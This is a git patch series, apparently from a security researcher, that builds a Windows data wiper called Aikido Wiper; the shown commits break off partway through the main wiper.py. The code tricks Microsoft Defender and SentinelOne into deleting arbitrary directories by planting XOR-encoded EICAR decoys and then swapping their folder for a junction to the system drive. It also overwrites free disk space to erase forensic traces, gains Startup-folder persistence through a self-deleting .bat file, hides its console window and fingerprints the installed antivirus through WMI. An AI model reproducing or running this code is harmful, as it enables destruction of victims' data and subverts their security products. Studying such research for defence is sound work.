From fa3b92fd2944fb4a1a616311487b2c0d068d7a51 Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 14 Sep 2022 11:24:38 +0300 Subject: [PATCH 01/37] Added vscode to gitignore --- .gitignore | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/.gitignore b/.gitignore index b6e4761..f6a1f5a 100644 --- a/.gitignore +++ b/.gitignore @@ -127,3 +127,12 @@ dmypy.json # Pyre type checker .pyre/ + +# VSCODE +.vscode/* + +# Local History for Visual Studio Code +.history/ + +# Built Visual Studio Code Extensions +*.vsix From 9e90be1952c362bbb0198489198dcf9a44bfbec7 Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 14 Sep 2022 11:32:43 +0300 Subject: [PATCH 02/37] Added wipe_utils.py with some useful functions for general a wiper --- src/aikido_wiper/wipe_utils.py | 99 ++++++++++++++++++++++++++++++++++ 1 file changed, 99 insertions(+) create mode 100644 src/aikido_wiper/wipe_utils.py diff --git a/src/aikido_wiper/wipe_utils.py b/src/aikido_wiper/wipe_utils.py new file mode 100644 index 0000000..ba3b42f --- /dev/null +++ b/src/aikido_wiper/wipe_utils.py @@ -0,0 +1,99 @@ +import shutil +import pathlib +import progressbar +import tempfile +import os +import uuid +import random +from typing import Callable + +def erase_disk_traces(iterations = 10): + """ + Erases disk traces of any files which were deleted. Fills the free space in the disk with + random bytes and then deletes them a number of times. + + :param iterations: Optional, the number of times to fill the free space on disk, defaults to 10. + """ + for i in range(iterations): + temp_file_path = fill_disk_free_space() + os.remove(temp_file_path) + +def fill_disk_free_space(chunk_size = 1024 * 1024) -> str: + """ + Fills the free space on the disk with random bytes. It does it by creating one huge file. + + :param chunk_size: Optional, the amount of random bytes to add to the file each time, defaults + to 1024*1024 + :return: The path of the file that was used in order to fill the disk. + """ + windows_drive = pathlib.Path.home().drive + "\\" + free_space = shutil.disk_usage(windows_drive)[2] + temp_file_path = os.path.join(tempfile.gettempdir(), str(uuid.uuid4())) + with open(temp_file_path, "ab+") as target_file: + with progressbar.ProgressBar(max_value=free_space) as bar: + bar_space_filled = 0 + while 0 < free_space: + if free_space < chunk_size: + chunk_size = free_space + target_file.write(random.randbytes(chunk_size)) + free_space -= chunk_size + + # progress bar update + bar_space_filled += chunk_size + bar.update(bar_space_filled) + + return temp_file_path + +def get_all_matching_elements_under_dir(dir_path: str, does_match_func: Callable[[str], bool], exclude_list=None) -> set[str]: + """ + Recursively iterates through all directories and files under a certain path. For each directory + or file, calls a given function to determine if the directory or file matches a condition. + + :param dir_path: The root directory for the search. + :param does_match_func: The function that determines for each directory or file if it + matches a condition + :param exclude_list: Optional, paths to exclude from the result and the search. If a directory + is excluded then all the directories and files inside it are excluded as well. + :return: A set of the matching directories and files. + """ + try: + sub_elements = os.listdir(dir_path) + except FileNotFoundError: + return set() + except PermissionError: + return {dir_path} + + matching_elements = set() + if None == exclude_list: + exclude_list = set() + + for sub_element_name in sub_elements: + sub_element_path = os.path.join(dir_path, sub_element_name) + if sub_element_path not in exclude_list: + if does_match_func(sub_element_path): + matching_elements.add(sub_element_path) + + if os.path.isdir(sub_element_path): + matching_elements = matching_elements.union(get_all_matching_elements_under_dir(sub_element_path, does_match_func, exclude_list)) + + return matching_elements + +def get_all_dirs_under_dir(dir_path, exclude_list=None): + """ + Calls get_all_matching_elements_under_dir() with a condition of being a directory. + + :param dir_path: same as in get_all_matching_elements_under_dir(). + :param exclude_list: same as in get_all_matching_elements_under_dir(). + :return: same as in get_all_matching_elements_under_dir(). + """ + return get_all_matching_elements_under_dir(dir_path, os.path.isdir, exclude_list) + +def get_all_files_under_dir(dir_path, exclude_list=None): + """ + Calls get_all_matching_elements_under_dir() with a condition of being a file. + + :param dir_path: same as in get_all_matching_elements_under_dir(). + :param exclude_list: same as in get_all_matching_elements_under_dir(). + :return: same as in get_all_matching_elements_under_dir(). + """ + return get_all_matching_elements_under_dir(dir_path, os.path.isfile, exclude_list) From 46d2efad4d86eaf2d501a0331e33e920f850a17a Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 14 Sep 2022 11:33:46 +0300 Subject: [PATCH 03/37] Added windows_utils.py with some useful functions for a wiper that runs on Windows --- src/aikido_wiper/windows_utils.py | 54 +++++++++++++++++++++++++++++++ 1 file changed, 54 insertions(+) create mode 100644 src/aikido_wiper/windows_utils.py diff --git a/src/aikido_wiper/windows_utils.py b/src/aikido_wiper/windows_utils.py new file mode 100644 index 0000000..4f00b61 --- /dev/null +++ b/src/aikido_wiper/windows_utils.py @@ -0,0 +1,54 @@ +import os +import sys +from pathlib import Path +import ctypes +import win32process +import signal +import wmi + +WINDOWS_AUTOSTART_PATH_IN_USER_HOME = r"AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" + +def stay_persistent_with_args(autostart_file_name: str = "a", cmd_args: str = "", is_for_only_one_reboot=True): + """ + Sets the current executable path from argv[0] to run on the next system startup as silently as possible. + + :param autostart_file_name: Optional, the name of the ".bat" file that will be placed in the current user's startup + folder, defaults to "a". + :param cmd_args: Optional, The arguments to pass the executable on startup, defaults to "" + :param is_for_only_one_reboot: Optional, if True, the ".bat" file that is placed in the current user's startup folder + deletes itself after it runs, defaults to True + """ + home = str(Path.home()) + autostart_path = os.path.join(home, WINDOWS_AUTOSTART_PATH_IN_USER_HOME) + autostart_file_name = f"{autostart_file_name}.bat" + autostart_file_path = os.path.join(autostart_path, autostart_file_name) + current_exe_path = os.path.abspath(sys.argv[0]) + + bat_cmd = f"@echo off\nstart \"\" /min /realtime cmd.exe /k {current_exe_path} {cmd_args}" + if is_for_only_one_reboot: + bat_cmd = f"{bat_cmd}\ndel \"%~f0\"" + + with open(autostart_file_path, "w") as f: + f.write(bat_cmd) + + +def kill_process_window(): + """ + Hides and Kills the window of the current process. + """ + hwnd = ctypes.windll.kernel32.GetConsoleWindow() + if hwnd != 0: + ctypes.windll.user32.ShowWindow(hwnd, 0) + ctypes.windll.kernel32.CloseHandle(hwnd) + _, pid = win32process.GetWindowThreadProcessId(hwnd) + os.kill(pid, signal.SIGTERM) + + +def get_existing_anti_virus_display_names() -> set[str]: + """ + Returns a set of the installed AV / EDR products using WMI. + """ + wmi_client = wmi.WMI(namespace="SecurityCenter2") + wmi_result = wmi_client.fetch_as_lists("AntiVirusProduct", ["DisplayName"]) + av_list = {wmi_result_item[0] for wmi_result_item in wmi_result} + return av_list From de2ceae4f33da7345bda783b85bf3c624a03f7ef Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 14 Sep 2022 11:34:20 +0300 Subject: [PATCH 04/37] Added init file for package aikido_wiper --- src/aikido_wiper/__init__.py | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 src/aikido_wiper/__init__.py diff --git a/src/aikido_wiper/__init__.py b/src/aikido_wiper/__init__.py new file mode 100644 index 0000000..e69de29 From f95e5d1b2c12843f912bdbf983c310cbf09a2d6d Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 14 Sep 2022 11:35:10 +0300 Subject: [PATCH 05/37] Added configs package --- src/aikido_wiper/configs/__init__.py | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 src/aikido_wiper/configs/__init__.py diff --git a/src/aikido_wiper/configs/__init__.py b/src/aikido_wiper/configs/__init__.py new file mode 100644 index 0000000..e69de29 From 22624867d73e728f26cc7af11c8783ea3118c5b7 Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 14 Sep 2022 11:37:49 +0300 Subject: [PATCH 06/37] Added package indirect_ops --- src/aikido_wiper/indirect_ops/__init__.py | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 src/aikido_wiper/indirect_ops/__init__.py diff --git a/src/aikido_wiper/indirect_ops/__init__.py b/src/aikido_wiper/indirect_ops/__init__.py new file mode 100644 index 0000000..e69de29 From 6f8a8ace13cd2b4edea8d290161422290c497f2b Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 14 Sep 2022 11:38:12 +0300 Subject: [PATCH 07/37] Added package indirect_ops/delete --- src/aikido_wiper/indirect_ops/delete/__init__.py | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 src/aikido_wiper/indirect_ops/delete/__init__.py diff --git a/src/aikido_wiper/indirect_ops/delete/__init__.py b/src/aikido_wiper/indirect_ops/delete/__init__.py new file mode 100644 index 0000000..e69de29 From d3b3c920615e4a9597bd8ffd69988788af0f0aa2 Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 14 Sep 2022 11:39:24 +0300 Subject: [PATCH 08/37] Added the IDeleteProxy general interface for deletion proxies --- .../indirect_ops/delete/idelete_proxy.py | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 src/aikido_wiper/indirect_ops/delete/idelete_proxy.py diff --git a/src/aikido_wiper/indirect_ops/delete/idelete_proxy.py b/src/aikido_wiper/indirect_ops/delete/idelete_proxy.py new file mode 100644 index 0000000..a30eedb --- /dev/null +++ b/src/aikido_wiper/indirect_ops/delete/idelete_proxy.py @@ -0,0 +1,19 @@ +from abc import ABC, abstractmethod, ABCMeta +from typing import Iterable + + +class IDeleteProxy(ABC): + """ + A proxy for deleting a file or a directory on the computer without doing it directly. + """ + + @abstractmethod + def indirect_delete_paths(self, paths_to_delete: Iterable[str]) -> set[str]: + """ + Using the proxy, trying to delete a list of given paths. + + :param paths_to_delete: The list of paths to try to delete + :return: A set of paths that the proxy has failed to delete. + """ + raise NotImplementedError() + From fb85bac8854edf19e2c6a73f0e95ce99ba600cfb Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 14 Sep 2022 11:40:23 +0300 Subject: [PATCH 09/37] Added a base class JunctionSwitchProxy for deletion proxies that use a junction switch for the deletion --- .../delete/junction_switch_proxy.py | 168 ++++++++++++++++++ 1 file changed, 168 insertions(+) create mode 100644 src/aikido_wiper/indirect_ops/delete/junction_switch_proxy.py diff --git a/src/aikido_wiper/indirect_ops/delete/junction_switch_proxy.py b/src/aikido_wiper/indirect_ops/delete/junction_switch_proxy.py new file mode 100644 index 0000000..dfcdb4f --- /dev/null +++ b/src/aikido_wiper/indirect_ops/delete/junction_switch_proxy.py @@ -0,0 +1,168 @@ +import os +import tempfile +import uuid +import shutil +import pathlib +import progressbar +from typing import Iterable +from abc import abstractmethod + +from aikido_wiper.indirect_ops.delete.idelete_proxy import IDeleteProxy + +class DecoyPath(object): + """ + Represents a specially crafted path to a decoy file that is used in order to delete + a target path with the JunctionSwitchDeleteProxy + """ + + def __init__(self, decoy_dir, path_to_delete) -> None: + """ + Creates the decoy_path based on the target path to delete. + + :param decoy_dir: The parent folder for the decoy path. + :param path_to_delete: The target file to delete with the decoy. + """ + self.path_to_delete = path_to_delete + abs_path_to_delete = os.path.abspath(path_to_delete) + drive, path_to_delete_without_drive = os.path.splitdrive(abs_path_to_delete) + path_to_delete_without_drive = path_to_delete_without_drive[1:] + + self.decoy_dir = decoy_dir + self.decoy_deepest_dir = os.path.join(self.decoy_dir, os.path.dirname(path_to_delete_without_drive)) + + try: + os.makedirs(self.decoy_deepest_dir) + except FileExistsError: + pass + + +class JunctionSwitchDeleteProxy(IDeleteProxy): + """ + A deletion proxy that sets a decoy for another running entity that has interest + in deleting the decoy. Next, switches the root decoy path to a junction so the + other running entity accidentally deletes the target path. + """ + + # An EICAR file content XORed with 0x7F so it won't trigger an anti virus. + ENCODED_EICAR = [ + 0x27, 0x4A, 0x30, 0x5E, 0x2F, 0x5A, 0x3F, 0x3E, 0x2F, 0x24, 0x4B, 0x23, 0x2F, 0x25, 0x27, 0x4A, + 0x4B, 0x57, 0x2F, 0x21, 0x56, 0x48, 0x3C, 0x3C, 0x56, 0x48, 0x02, 0x5B, 0x3A, 0x36, 0x3C, 0x3E, + 0x2D, 0x52, 0x2C, 0x2B, 0x3E, 0x31, 0x3B, 0x3E, 0x2D, 0x3B, 0x52, 0x3E, 0x31, 0x2B, 0x36, 0x29, + 0x36, 0x2D, 0x2A, 0x2C, 0x52, 0x2B, 0x3A, 0x2C, 0x2B, 0x52, 0x39, 0x36, 0x33, 0x3A, 0x5E, 0x5B, + 0x37, 0x54, 0x37, 0x55 + ] + + EICAR_XOR_DECODING_KEY = 0x7F + + def __init__(self, use_one_junction_dir: bool, decoy_dir_path: str = None) -> None: + """ + Creates a junction switch deletion proxy. + + :param use_one_junction_dir: If True, the proxy will create all the decoys under + the same dir which will later be switched to be a junction. + :param decoy_dir_path: Optional, The path that will contain the decoy paths with the + decoys inside. It is recommended that the path to this directory will be as short + as possible (for example: "C:\A"). Windows has a path length limit so this will + help the proxy achieve better deletion results. If not given, the path will be + a directory with a UUID name inside the windows drive. + """ + self._use_one_junction_dir = use_one_junction_dir + self._windows_drive = pathlib.Path.home().drive + "\\" + self._decoys_root_dir_path = decoy_dir_path + if None == self._decoys_root_dir_path or "" == self._decoys_root_dir_path: + self._decoys_root_dir_path = os.path.join(self._windows_drive, str(uuid.uuid4())) + self._decoy_dir_count = 0 + + def indirect_delete_paths(self, paths_to_delete: Iterable[str]) -> set[str]: + """ + Read parent class doc + """ + decoy_path_set = set() + failed_targets = set() + decoy_dir = self._decoys_root_dir_path + + # For each deletion target, create a decoy path and the decoy itself. + # Also save the deletion targets that a decoy was not successfully created for. + for path_to_delete in progressbar.progressbar(paths_to_delete): + if not self._use_one_junction_dir: + decoy_dir = os.path.join(self._decoys_root_dir_path, str(self._decoy_dir_count)) + + try: + decoy_path = DecoyPath(decoy_dir, path_to_delete) + self._create_decoy_file(decoy_path) + except: + failed_targets.add(path_to_delete) + continue + + decoy_path_set.add(decoy_path) + + if len(failed_targets) == len(paths_to_delete): + raise RuntimeError("Could not delete any of the targets") + + for decoy_path in decoy_path_set: + self._before_junction_switch(decoy_path) + + if self._use_one_junction_dir: + junction_switch_paths = {self._decoys_root_dir_path} + else: + junction_switch_paths = {decoy_path.decoy_dir for decoy_path in decoy_path_set} + + for junction_switch_path in junction_switch_paths: + self._switch_to_junction(junction_switch_path) + + for decoy_path in decoy_path_set: + self._after_junction_switch(decoy_path) + + return failed_targets + + def _switch_to_junction(self, link_path: str): + """ + Deletes a directory and whatever inside and then creates a junction with the same + name that points to the Windows drive. + + :param link_path: The directory to delete. + """ + shutil.rmtree(link_path) + os.system(f"mklink /J {link_path} {self._windows_drive} > nul 2>&1") + + def _get_decoded_eicar(self) -> bytearray: + """ + Retrieves the decoded EICAR file content from the encoded one. + + :return: EICAR file content + """ + decoded_eicar = bytearray() + for byte in self.ENCODED_EICAR: + decoded_eicar.append(byte ^ self.EICAR_XOR_DECODING_KEY) + + return decoded_eicar + + @abstractmethod + def _create_decoy_file(self, decoy_path: DecoyPath) -> None: + """ + Creates the decoy file that should lead to the deletion of the target path to delete. + + :param decoy_path: The relevant decoy path. + """ + raise NotImplementedError() + + @abstractmethod + def _before_junction_switch(self, decoy_path: DecoyPath) -> None: + """ + A callback which happens just before the junction switch for each target path + to delete. + + :param decoy_path: The relevant decoy path. + """ + raise NotImplementedError() + + @abstractmethod + def _after_junction_switch(self, decoy_path: DecoyPath) -> None: + """ + A callback which happens right after the junction switch for each target path + to delete. + + :param decoy_path: The relevant decoy path + """ + raise NotImplementedError() + From 0e305652c05b369c7937fe3ef67dcacd2592e6a3 Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 14 Sep 2022 11:41:25 +0300 Subject: [PATCH 10/37] Added MicrosoftDefenderDeleteProxy --- .../delete/microsoft_defender_delete_proxy.py | 74 +++++++++++++++++++ 1 file changed, 74 insertions(+) create mode 100644 src/aikido_wiper/indirect_ops/delete/microsoft_defender_delete_proxy.py diff --git a/src/aikido_wiper/indirect_ops/delete/microsoft_defender_delete_proxy.py b/src/aikido_wiper/indirect_ops/delete/microsoft_defender_delete_proxy.py new file mode 100644 index 0000000..c0955ac --- /dev/null +++ b/src/aikido_wiper/indirect_ops/delete/microsoft_defender_delete_proxy.py @@ -0,0 +1,74 @@ +import os +import subprocess +from typing import Iterable +import win32file + +from aikido_wiper.indirect_ops.delete.junction_switch_proxy import JunctionSwitchDeleteProxy, DecoyPath + +class MicrosoftDefenderDeleteProxy(JunctionSwitchDeleteProxy): + """ + A deletion proxy that uses Microsoft's Windows Defender or Windows Defender + For endpoint in order to delete directories. + """ + + def __init__(self, decoy_dir_path: str) -> None: + """ + Read parent class doc. + Also, uses one junction dir for all decoys. + """ + super().__init__(use_one_junction_dir=True, decoy_dir_path=decoy_dir_path) + self.__target_paths_to_open_handles = {} + self.__defender_scan_happened = False + + def indirect_delete_paths(self, paths_to_delete: Iterable[str]) -> set[str]: + """ + Read parent class doc. + Also, the Microsoft Defender proxy is not able to delete specific files, only + directories. When it deletes a directory, then it starts to delete all its files + until it hits a file it can't delete and then stops. + """ + for path in paths_to_delete: + if not os.path.isdir(path): + raise NotADirectoryError(f"{type(self).__name__} supports directory deletion only. {path} is not a directory") + + return super().indirect_delete_paths(paths_to_delete) + + def _before_junction_switch(self, decoy_path: DecoyPath) -> None: + """ + Read parent doc. + Also, triggers Defender to scan the decoys only if it's the first time the callback was called for a set + of paths to delete. Defender should try to delete them and give up. After Defender gave up, The function + closes the handle to the decoy file which was left open. + """ + if not self.__defender_scan_happened: + self.__defender_scan_happened = True + self.__trigger_defender_scan(self._decoys_root_dir_path) + + win32file.CloseHandle(self.__target_paths_to_open_handles[decoy_path.path_to_delete]) + self.__target_paths_to_open_handles.pop(decoy_path.path_to_delete) + + def _after_junction_switch(self, decoy_path: DecoyPath) -> str: + self.__defender_scan_happened = False + + def __trigger_defender_scan(self, path_to_scan): + """ + Triggers Defender to scan a specific folder for malicious files. If malicious files were detected, Defender + is most likely to also try to delete them. The function blocks until Defender finishes scanning, + deleting or moving a file to quarantine. + + :param path_to_scan: The path to scan using Defender. + """ + scan_cmd = f"\"{self._windows_drive}\\Program Files\\Windows Defender\\MpCmdRun.exe\" -Scan -ScanType 3 -File \"{path_to_scan}\"" + scan_process = subprocess.Popen(scan_cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) + scan_process.wait() + + def _create_decoy_file(self, decoy_path: DecoyPath) -> None: + """ + Read parent class doc. + Also, after creating the decoy file, the handle to it is left open and stored so it can be closed later. + """ + eicar_file_path = os.path.join(decoy_path.decoy_deepest_dir, os.path.basename(decoy_path.path_to_delete)) + eicar_file_handle = win32file.CreateFile(eicar_file_path, win32file.GENERIC_READ | win32file.GENERIC_WRITE, win32file.FILE_SHARE_READ, None, win32file.CREATE_NEW, 0, 0) + win32file.WriteFile(eicar_file_handle, self._get_decoded_eicar(), None) + + self.__target_paths_to_open_handles[decoy_path.path_to_delete] = eicar_file_handle \ No newline at end of file From 2e9b4360c86c625fbc13397c949f5fcc870f4c11 Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 14 Sep 2022 11:41:42 +0300 Subject: [PATCH 11/37] Added SentinelOneDeleteProxy --- .../delete/sentinel_one_delete_proxy.py | 51 +++++++++++++++++++ 1 file changed, 51 insertions(+) create mode 100644 src/aikido_wiper/indirect_ops/delete/sentinel_one_delete_proxy.py diff --git a/src/aikido_wiper/indirect_ops/delete/sentinel_one_delete_proxy.py b/src/aikido_wiper/indirect_ops/delete/sentinel_one_delete_proxy.py new file mode 100644 index 0000000..9ed3ee3 --- /dev/null +++ b/src/aikido_wiper/indirect_ops/delete/sentinel_one_delete_proxy.py @@ -0,0 +1,51 @@ +import os +import win32file +import time + +from aikido_wiper.indirect_ops.delete.junction_switch_proxy import JunctionSwitchDeleteProxy, DecoyPath + +class SentinelOneDeleteProxy(JunctionSwitchDeleteProxy): + """ + A deletion proxy that uses Sentinel One's EDR in order to delete files or directories. + """ + + def __init__(self, decoy_dir_path: str) -> None: + """ + Read parent class doc. + Also, uses one junction dir for all decoys. + """ + super().__init__(use_one_junction_dir=True, decoy_dir_path=decoy_dir_path) + self.__target_paths_to_open_handles = {} + self.__wait_for_edr_happened = False + + def _create_decoy_file(self, decoy_path: DecoyPath) -> None: + """ + Read parent class doc. + Also, after creating the decoy file, closes and opens the file again so the EDR will detect it. The handle + to it is left open and stored so it can be closed later. + """ + eicar_file_path = os.path.join(decoy_path.decoy_deepest_dir, os.path.basename(decoy_path.path_to_delete)) + eicar_file_handle = win32file.CreateFile(eicar_file_path, win32file.GENERIC_READ | win32file.GENERIC_WRITE, win32file.FILE_SHARE_READ, None, win32file.CREATE_NEW, 0, 0) + win32file.WriteFile(eicar_file_handle, self._get_decoded_eicar(), None) + win32file.CloseHandle(eicar_file_handle) + eicar_file_handle = win32file.CreateFile(eicar_file_path, win32file.GENERIC_READ | win32file.GENERIC_WRITE, win32file.FILE_SHARE_READ, None, win32file.OPEN_EXISTING, 0, 0) + + self.__target_paths_to_open_handles[decoy_path.path_to_delete] = eicar_file_handle + + def _before_junction_switch(self, decoy_path: DecoyPath) -> None: + """ + Read parent doc. + Also, waits for the EDR to detect all the files only if it's the first time the callback was called for a set + of paths to delete. The EDR should try to delete them and give up. After the EDR gave up, The function + closes the handle to the decoy file which was left open. + """ + if not self.__wait_for_edr_happened: + self.__wait_for_edr_happened = True + print("Waiting 15 seconds") + time.sleep(15) + + win32file.CloseHandle(self.__target_paths_to_open_handles[decoy_path.path_to_delete]) + self.__target_paths_to_open_handles.pop(decoy_path.path_to_delete) + + def _after_junction_switch(self, decoy_path: DecoyPath) -> None: + self.__wait_for_edr_happened = False From 02016355a07e9263108ba518b38ee8e31e359b26 Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 14 Sep 2022 11:42:16 +0300 Subject: [PATCH 12/37] Added command line arguments handling --- src/aikido_wiper/configs/args.py | 60 +++++++++++++++++++ .../configs/args_specific_actions.py | 52 ++++++++++++++++ 2 files changed, 112 insertions(+) create mode 100644 src/aikido_wiper/configs/args.py create mode 100644 src/aikido_wiper/configs/args_specific_actions.py diff --git a/src/aikido_wiper/configs/args.py b/src/aikido_wiper/configs/args.py new file mode 100644 index 0000000..94f65a7 --- /dev/null +++ b/src/aikido_wiper/configs/args.py @@ -0,0 +1,60 @@ +import argparse +from aikido_wiper.indirect_ops.delete.idelete_proxy import IDeleteProxy + +from aikido_wiper.indirect_ops.delete.microsoft_defender_delete_proxy import MicrosoftDefenderDeleteProxy +from aikido_wiper.indirect_ops.delete.sentinel_one_delete_proxy import SentinelOneDeleteProxy +from .args_specific_actions import create_junction_switch_proxy, find_custom_paths_from_args, find_dirs_under_dir_from_args, find_files_under_dir_from_args, get_preferred_proxy_arg_name + +PROXY_ARG_NAME_TO_PROXY_CREATOR = { + "MICROSOFT_DEFENDER": (create_junction_switch_proxy, MicrosoftDefenderDeleteProxy), + "SENTINEL_ONE": (create_junction_switch_proxy, SentinelOneDeleteProxy) +} + +DELETION_TARGETS_FINDERS = { + "ALL_DIRS_UNDER_PATH": find_dirs_under_dir_from_args, + "ALL_FILES_UNDER_PATH": find_files_under_dir_from_args, + "CUSTOM_PATHS": find_custom_paths_from_args +} + +def create_proxy_from_conf(args) -> IDeleteProxy: + proxy_arg_name = args.proxy + if None == proxy_arg_name: + proxy_arg_name = get_preferred_proxy_arg_name() + + create_func = PROXY_ARG_NAME_TO_PROXY_CREATOR[proxy_arg_name][0] + proxy_class = PROXY_ARG_NAME_TO_PROXY_CREATOR[proxy_arg_name][1] + return create_func(proxy_class, args) + +def find_deletion_targets_from_args(args): + return DELETION_TARGETS_FINDERS[args.deletion_target](args) + +def parse_args(): + parser = argparse.ArgumentParser(description="Aikido Wiper - Next gen wiping") + parser.add_argument("-q","--quiet", help="If specified, the wiper will run in the background", action="store_true") + + mode_subparsers = parser.add_subparsers(title="mode", dest="mode", required=True) + proxy_delete_parser = mode_subparsers.add_parser("PROXY_DELETION") + erase_disk_traces_parser = mode_subparsers.add_parser("ERASE_DISK_TRACES") + + proxy_delete_parser.add_argument("-p","--proxy", help="The proxy security control to use", type=str, required=True, choices=PROXY_ARG_NAME_TO_PROXY_CREATOR.keys()) + + delete_target_subparsers = proxy_delete_parser.add_subparsers(title="deletion_target", dest="deletion_target", required=True) + + all_dirs_parser = delete_target_subparsers.add_parser("ALL_DIRS_UNDER_PATH", help="Try to delete all the directories under the Windows drive") + all_dirs_parser.add_argument("root_path", help="The parent path for all the directories to delete", type=str) + all_dirs_parser.add_argument("--exclusion-list-path", help="Path to a file with a list of paths to exclude and not mark", required=False) + + all_files_parser = delete_target_subparsers.add_parser("ALL_FILES_UNDER_PATH", help="Try to delete all the files under the Windows drive") + all_files_parser.add_argument("root_path", help="The parent path for all the file to delete", type=str) + all_files_parser.add_argument("--exclusion-list-path", help="Path to a file with a list of paths to exclude and not mark", required=False) + + custom_paths_parser = delete_target_subparsers.add_parser("CUSTOM_PATHS", help="Try to delete custom paths") + custom_paths_parser.add_argument("custom_paths_file", help="Path to a file with a list of paths to try to delete", type=str) + + proxy_delete_parser.add_argument("--decoy-root-dir", help="The path in which all the decoys will be placed in case of a usage of a JunctionSwitchProxy", required=False) + + return parser.parse_args() + + + + diff --git a/src/aikido_wiper/configs/args_specific_actions.py b/src/aikido_wiper/configs/args_specific_actions.py new file mode 100644 index 0000000..c0b7f57 --- /dev/null +++ b/src/aikido_wiper/configs/args_specific_actions.py @@ -0,0 +1,52 @@ +from aikido_wiper.indirect_ops.delete.microsoft_defender_delete_proxy import MicrosoftDefenderDeleteProxy +from aikido_wiper.indirect_ops.delete.sentinel_one_delete_proxy import SentinelOneDeleteProxy +from aikido_wiper.indirect_ops.delete.idelete_proxy import IDeleteProxy +from aikido_wiper.wipe_utils import get_all_dirs_under_dir, get_all_files_under_dir +from aikido_wiper.windows_utils import get_existing_anti_virus_display_names + + +WMI_DISPLAY_NAMES_TO_PROXIES_ARG_NAMES_IN_FAVORED_ORDER = { + "Sentinel Agent": "SENTINEL_ONE", + "Windows Defender": "MICROSOFT_DEFENDER" +} + +def parse_list_from_file(path: str) -> list[str]: + out_list = [] + with open(path, "r") as f: + for line in f.readlines(): + line_without_break = line.replace("\n", "") + out_list.append(line_without_break) + + return out_list + + +def create_junction_switch_proxy(proxy_class: type, args) -> IDeleteProxy: + delete_proxy = proxy_class(decoy_dir_path=args.decoy_root_dir) + return delete_proxy + + +def find_dirs_under_dir_from_args(args): + return get_all_dirs_under_dir(args.root_path, parse_list_from_file(args.exclusion_list_path)) + + +def find_files_under_dir_from_args(args): + return get_all_files_under_dir(args.root_path, parse_list_from_file(args.exclusion_list_path)) + + +def find_custom_paths_from_args(args): + return parse_list_from_file(args.custom_paths_file) + + +def get_preferred_proxy_arg_name() -> str: + existing_proxy_names = get_existing_anti_virus_display_names() + + preferred_proxy_arg_name = None + for proxy_display_name, proxy_arg_name in WMI_DISPLAY_NAMES_TO_PROXIES_ARG_NAMES_IN_FAVORED_ORDER.items(): + if proxy_display_name in existing_proxy_names: + preferred_proxy_arg_name = proxy_arg_name + break + + if None == preferred_proxy_arg_name: + return None + + return preferred_proxy_arg_name \ No newline at end of file From 12aee828f36b72321e1719f08731295189ec7dda Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 14 Sep 2022 11:58:18 +0300 Subject: [PATCH 13/37] Added requirements.txt file --- requirements.txt | Bin 0 -> 114 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 requirements.txt diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000000000000000000000000000000000000..4fc01d832df158183b0e266342635bdf32394764 GIT binary patch literal 114 zcmXwxK?;B{5Ci8d_!LEKuRcaWRFGQKQvAG{S|nsyHnVwd&(6lAIdVt?z4n$)veY!6 hOA0&}C$nfrMbN&m>LZaxRQ69srB1ipWYl9x*$ei#5~TnD literal 0 HcmV?d00001 From 87bc6ebd845c7ba3468c380dcf7b1f117efde31d Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 14 Sep 2022 12:48:58 +0300 Subject: [PATCH 14/37] moved configs package out of the main lib --- {src/aikido_wiper => wiper_tool}/configs/__init__.py | 0 {src/aikido_wiper => wiper_tool}/configs/args.py | 0 {src/aikido_wiper => wiper_tool}/configs/args_specific_actions.py | 0 3 files changed, 0 insertions(+), 0 deletions(-) rename {src/aikido_wiper => wiper_tool}/configs/__init__.py (100%) rename {src/aikido_wiper => wiper_tool}/configs/args.py (100%) rename {src/aikido_wiper => wiper_tool}/configs/args_specific_actions.py (100%) diff --git a/src/aikido_wiper/configs/__init__.py b/wiper_tool/configs/__init__.py similarity index 100% rename from src/aikido_wiper/configs/__init__.py rename to wiper_tool/configs/__init__.py diff --git a/src/aikido_wiper/configs/args.py b/wiper_tool/configs/args.py similarity index 100% rename from src/aikido_wiper/configs/args.py rename to wiper_tool/configs/args.py diff --git a/src/aikido_wiper/configs/args_specific_actions.py b/wiper_tool/configs/args_specific_actions.py similarity index 100% rename from src/aikido_wiper/configs/args_specific_actions.py rename to wiper_tool/configs/args_specific_actions.py From 032c02c656f114d8fa3b7e61360df128f9804e15 Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 14 Sep 2022 12:49:54 +0300 Subject: [PATCH 15/37] added the main wiper tool logic --- wiper_tool/wiper.py | 40 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 40 insertions(+) create mode 100644 wiper_tool/wiper.py diff --git a/wiper_tool/wiper.py b/wiper_tool/wiper.py new file mode 100644 index 0000000..a8c7344 --- /dev/null +++ b/wiper_tool/wiper.py @@ -0,0 +1,40 @@ +import os +import time + +from aikido_wiper.wipe_utils import erase_disk_traces +from configs.args import parse_args, create_proxy_from_conf, find_deletion_targets_from_args +from aikido_wiper.windows_utils import stay_persistent_with_args, kill_process_window, get_existing_anti_virus_display_names + + +def main(): + args = parse_args() + + if args.quiet: + kill_process_window() + + if "ERASE_DISK_TRACES" == args.mode: + erase_disk_traces() + return 0 + + delete_proxy = create_proxy_from_conf(args) 